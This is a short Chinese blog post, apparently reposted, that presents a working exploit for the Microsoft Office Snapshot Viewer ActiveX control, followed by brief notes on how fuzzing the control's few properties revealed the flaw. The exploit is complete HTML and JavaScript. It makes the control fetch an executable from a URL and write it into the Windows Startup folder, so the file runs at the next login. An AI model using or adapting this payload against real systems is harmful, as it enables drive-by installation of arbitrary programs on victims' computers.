Microsoft Office Snapshot Viewer ActiveX Exploit

来源:http://hi.baidu.com/cloie/

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:


<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>

var buf1 = 'http://127.0.0.1/a.exe&#39;;
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>

Fuzzing 时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完
